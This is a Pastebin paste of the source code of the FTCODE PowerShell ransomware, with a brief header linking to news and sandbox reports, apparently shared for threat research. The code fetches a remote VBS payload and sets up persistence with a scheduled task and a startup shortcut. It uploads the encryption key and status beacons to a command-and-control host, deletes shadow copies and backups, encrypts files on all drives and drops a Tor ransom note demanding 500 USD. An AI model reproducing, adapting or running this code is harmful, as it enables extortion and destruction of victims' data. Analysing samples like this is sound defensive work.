ps66uk

#FTCODE

Oct 7th, 2019
3,358
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <# FTCODE ransomware
  2. https://twitter.com/matte_lodi/status/1181124751160422401
  3. https://www.bleepingcomputer.com/news/security/ftcode-powershell-ransomware-resurfaces-in-spam-campaign/
  4. https://app.any.run/tasks/aab1ffcb-98e3-4bc9-9be2-5e82fe528484
  5. #>
  6.  
  7.  
  8. function dywxjbzzg() {
  9.     $hjtjyuwxz = $env:PUBLIC  +  "\Libraries" if ( - not (Test - Path $hjtjyuwxz))  {
  10.         md $hjtjyuwxz;
  11.     }
  12.  
  13.     $ivvbdgxjdg = $hjtjyuwxz  +  "\WindowsIndexingService.vbs";
  14.     $dbugtxcs = New - Object System.Net.WebClient;
  15.     $dbugtxcs.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  16.     try {
  17.         $uceycjf = Join - Path $hjtjyuwxz ( get - random  - minimum 100  - maximum 999999 );
  18.         $dbugtxcs.DownloadString("http://home.healthiestu.com/?need=6ff4040&vid=dpec6&") | out - file $uceycjf;
  19.         Start - Sleep  - s 5;
  20.         if ( ( test - path  - path $uceycjf )  - and ( ( (Get - Item $uceycjf).length/1KB) -gt 5 ) ){ Move-Item $uceycjf -destination $ivvbdgxjdg -Force; $fagtzcgfg = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 13 /du 23:59  / TR $ivvbdgxjdg);
  21.         try {
  22.             $uyuhszzt = [Environment]::GetFolderPath('Startup')  +  '\WindowsApplicationService.lnk';
  23.             if (  - not ( Test - Path $uyuhszzt ) )  {
  24.                 $cibauhvg = New - Object  - ComObject ('WScript.Shell');
  25.                 $vhvwiyeuxd = $cibauhvg.CreateShortcut( $uyuhszzt );
  26.                 $vhvwiyeuxd.TargetPath = $ivvbdgxjdg;
  27.                 $vhvwiyeuxd.WorkingDirectory = $hjtjyuwxz;
  28.                 $vhvwiyeuxd.WindowStyle = 1;
  29.                 $vhvwiyeuxd.Description = 'Windows Application Service';
  30.                 $vhvwiyeuxd.Save();
  31.             }
  32.  
  33.         } catch {};
  34.     }
  35.  
  36. } catch {}
  37.  
  38. };
  39. dywxjbzzg;
  40. function hjgcwfsiei( $ifwxibhss ) {
  41. $dbugtxcs = New - Object System.Net.WebClient;
  42. $dbugtxcs.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  43. $dbugtxcs.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  44. $dbugtxcs.Encoding = [System.Text.Encoding]::UTF8;
  45. try {
  46.     $tafjssfc = $dbugtxcs.UploadString( "http://connect.hairsalonlongmont.com/", ("ver=$scwgygzdu&vid=dpec6&guid=$ijwctat&psver=" + ( ( (Get - Host).Version ).Major ) + "&"  +  $ifwxibhss) );
  47.     if ( $tafjssfc  - eq "ok" )  {
  48.         return $true;
  49.     }
  50.  
  51. } catch {};
  52. return $false;
  53. };
  54. function ddbjeajiiz( $ghhzgav ) {
  55. try {
  56.     Start - Process  - WindowStyle Hidden  - FilePath "$env:comspec"  - ArgumentList "/c $ghhzgav";
  57. } catch {}
  58.  
  59. };
  60. function dwfuacxisj($xwfvsfb, $izhzdwi) {
  61. $yavhiujvsg = "BXCODE hack your system";
  62. $bscdvvix = "BXCODE INIT";
  63. $hygazadbij = new - Object System.Security.Cryptography.RijndaelManaged;
  64. $tzbhbhutb = [Text.Encoding]::UTF8.GetBytes($izhzdwi);
  65. $yavhiujvsg = [Text.Encoding]::UTF8.GetBytes($yavhiujvsg);
  66. $hygazadbij.Key = (new - Object Security.Cryptography.PasswordDeriveBytes $tzbhbhutb, $yavhiujvsg, "SHA1", 5).GetBytes(32);
  67. $hygazadbij.IV = (new - Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($bscdvvix) )[0..15];
  68. $hygazadbij.Padding = "Zeros";
  69. $hygazadbij.Mode = "CBC";
  70. $fyyxdehdbx = $hygazadbij.CreateEncryptor();
  71. $zudjbafz = new - Object IO.MemoryStream;
  72. $hzewbxas = new - Object Security.Cryptography.CryptoStream $zudjbafz, $fyyxdehdbx, "Write";
  73. $hzewbxas.Write($xwfvsfb, 0, $xwfvsfb.Length);
  74. $hzewbxas.Close();
  75. $zudjbafz.Close();
  76. $hygazadbij.Clear();
  77. return $zudjbafz.ToArray();
  78. }
  79.  
  80. $scwgygzdu = "1003.1";
  81. $ijwctat = [guid]::NewGuid();
  82. $zvjethg = $env:temp  +  "\AFX50058.tmp";
  83. sc  - Path $zvjethg  - Value $(Get - Date);
  84. $bjiewwwwg = [Reflection.Assembly]::LoadWithPartialName('System.Security');
  85. Add - Type  - Assembly System.Web;
  86. $hjtjyuwxz = $env:PUBLIC  +  "\OracleKit";
  87. if ( - not (Test - Path $hjtjyuwxz))  {
  88. md $hjtjyuwxz;
  89. }
  90.  
  91. $jeuacfx = $hjtjyuwxz  +  "\w00log03.tmp";
  92. if ( Test - Path $jeuacfx )  {
  93. hjgcwfsiei "status=exit_file";
  94. exit;
  95. } else {
  96. sc  - Path $jeuacfx  - Value $ijwctat  - Force;
  97. };
  98. $uebvuvzztb = [Web.Security.Membership]::GeneratePassword(50, 4);
  99. [byte[]]$zhfvjij = [system.Text.Encoding]::Unicode.GetBytes($uebvuvzztb);
  100. $cffitahbbi = "BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg==";
  101. $dtghzhtgz = New - Object System.Security.Cryptography.RSACryptoServiceProvider;
  102. $dtghzhtgz.ImportCspBlob([system.Convert]::FromBase64String($cffitahbbi));
  103. $ueuzadcuga = [system.Convert]::ToBase64String($dtghzhtgz.Encrypt($zhfvjij, $false));
  104. if ( ( hjgcwfsiei( "&ek="  +  ([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( $uebvuvzztb ) )) ) ) )  {
  105. sc  - Path $jeuacfx  - Value $ijwctat  - Force;
  106. } else {
  107. ri  - Path $jeuacfx  - Force;
  108. hjgcwfsiei "status=exit_answer";
  109. exit;
  110. }
  111.  
  112. sbyxvbzxuv = "
  113. All your files was encrypted!
  114. Yes, You can Decrypt Files Encrypted!!! our price 500 USD
  115. Your personal ID: $ijwctat
  116.  
  117. 1. Download Tor browser - https://www.torproject.org/download/
  118.  
  119. 2. Install Tor browser
  120.  
  121. 3. Open Tor Browser
  122.  
  123. 4. Open link in TOR browser: http://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd.onion/?guid=$ijwctat
  124.  
  125. 5. Follow the instructions on this page
  126.  
  127. ***** Warning*****
  128. Do not rename files
  129.  
  130. Do not try to back your data using third-party software, it may cause permanent data loss(If you do not believe us, and still try to - make copies of all files so that we can help you if third-party software harms them)
  131.  
  132. As evidence, we can for free back one file
  133.  
  134. Decoders of other users is not suitable to back your files - encryption key is created on your computer when the program is launched - it is unique.
  135.  
  136. ";
  137. ddbjeajiiz('bcdedit /set ztcxebbwya bootstatuspolicy ignoreallfailures');
  138. ddbjeajiiz('bcdedit /set ztcxebbwya recoveryenabled no');
  139. ddbjeajiiz('wbadmin delete catalog -quiet');
  140. ddbjeajiiz('wbadmin delete systemstatebackup');
  141. ddbjeajiiz('wbadmin delete backup');
  142. ddbjeajiiz('vssadmin delete shadows /all /quiet');
  143. $ifggctxeja = 0;
  144. hjgcwfsiei ("status=start" );
  145. $judcuxzwd = Get - PSDrive|Where - Object {
  146. $_.Free  - gt 50000
  147. }
  148.  
  149. |Sort - Object  - Descending;
  150. foreach($bdwwbwxtey in $judcuxzwd) {
  151. try {
  152.     gci $bdwwbwxtey.root  - Recurse  - Include "*.sql", "*.mp4", "*.7z", "*.rar", "*.m4a", "*.wma", "*.avi", "*.wmv", "*.csv", "*.d3dbsp", "*.zip", "*.sie", "*.sum", "*.ibank", "*.t13", "*.t12", "*.qdf", "*.gdb", "*.tax", "*.pkpass", "*.bc6", "*.bc7", "*.bkp", "*.qic", "*.bkf", "*.sidn", "*.sidd", "*.mddata", "*.itl", "*.itdb", "*.icxs", "*.hvpl", "*.hplg", "*.hkdb", "*.mdbackup", "*.syncdb", "*.gho", "*.cas", "*.svg", "*.map", "*.wmo", "*.itm", "*.sb", "*.fos", "*.mov", "*.vdf", "*.ztmp", "*.sis", "*.sid", "*.ncf", "*.menu", "*.layout", "*.dmp", "*.blob", "*.esm", "*.vcf", "*.vtf", "*.dazip", "*.fpk", "*.mlx", "*.kf", "*.iwd", "*.vpk", "*.tor", "*.psk", "*.rim", "*.w3x", "*.fsh", "*.ntl", "*.arch00", "*.lvl", "*.snx", "*.cfr", "*.ff", "*.vpp_pc", "*.lrf", "*.m2", "*.mcmeta", "*.vfs0", "*.mpqge", "*.kdb", "*.db0", "*.dba", "*.rofl", "*.hkx", "*.bar", "*.upk", "*.das", "*.iwi", "*.litemod", "*.asset", "*.forge", "*.ltx", "*.bsa", "*.apk", "*.re4", "*.sav", "*.lbf", "*.slm", "*.bik", "*.epk", "*.rgss3a", "*.pak", "*.big", "*wallet", "*.wotreplay", "*.xxx", "*.desc", "*.py", "*.m3u", "*.flv", "*.js", "*.css", "*.rb", "*.png", "*.jpeg", "*.txt", "*.p7c", "*.p7b", "*.p12", "*.pfx", "*.pem", "*.crt", "*.cer", "*.der", "*.x3f", "*.srw", "*.pef", "*.ptx", "*.r3d", "*.rw2", "*.rwl", "*.raw", "*.raf", "*.orf", "*.nrw", "*.mrwref", "*.mef", "*.erf", "*.kdc", "*.dcr", "*.cr2", "*.crw", "*.bay", "*.sr2", "*.srf", "*.arw", "*.3fr", "*.dng", "*.jpe", "*.jpg", "*.cdr", "*.indd", "*.ai", "*.eps", "*.pdf", "*.pdd", "*.psd", "*.dbf", "*.mdf", "*.wb2", "*.rtf", "*.wpd", "*.dxg", "*.xf", "*.dwg", "*.pst", "*.accdb", "*.mdb", "*.pptm", "*.pptx", "*.ppt", "*.xlk", "*.xlsb", "*.xlsm", "*.xlsx", "*.xls", "*.wps", "*.docm", "*.docx", "*.doc", "*.odb", "*.odc", "*.odm", "*.odp", "*.ods", "*.odt" |% {
  153.         try {
  154.             $tssdvahsgi = [io.file]::Open($_, 'Open', 'ReadWrite');
  155.             if ($tssdvahsgi.Length  - lt "40960")  {
  156.                 $fizeigzsuu = $tssdvahsgi.Length
  157.             } else {
  158.                 $fizeigzsuu = "40960"
  159.             }
  160.  
  161.             [byte[]]$azwwezuyyz = new - object byte[] $fizeigzsuu;
  162.             $asihybvzh = $tssdvahsgi.Read($azwwezuyyz, 0, $azwwezuyyz.Length);
  163.             $tssdvahsgi.Position = '0';
  164.             $axshudetg = dwfuacxisj $azwwezuyyz $uebvuvzztb;
  165.             $tssdvahsgi.Write($axshudetg, 0, $axshudetg.Length);
  166.             $tssdvahsgi.Close();
  167.             $uhhzdshvj = $_.Name + ".FTCODE";
  168.             ren  - Path $_.FullName  - NewName $uhhzdshvj  - Force;
  169.             $yjxegdax = $_.DirectoryName + "\READ_ME_NOW.htm";
  170.             if (!(Test - Path $yjxegdax))  {
  171.                 sc  - Path $yjxegdax  - Value $sbyxvbzxuv  - Force;
  172.                 sc  - Path $zvjethg  - Value $(Get - Date)  - Force;
  173.             }
  174.  
  175.             $ifggctxeja++;
  176.         } catch {}
  177.  
  178.     }
  179.  
  180. } catch {}
  181.  
  182. }
  183.  
  184. hjgcwfsiei ("status=done&res=$ifggctxeja");
Add Comment
Please, Sign In to add comment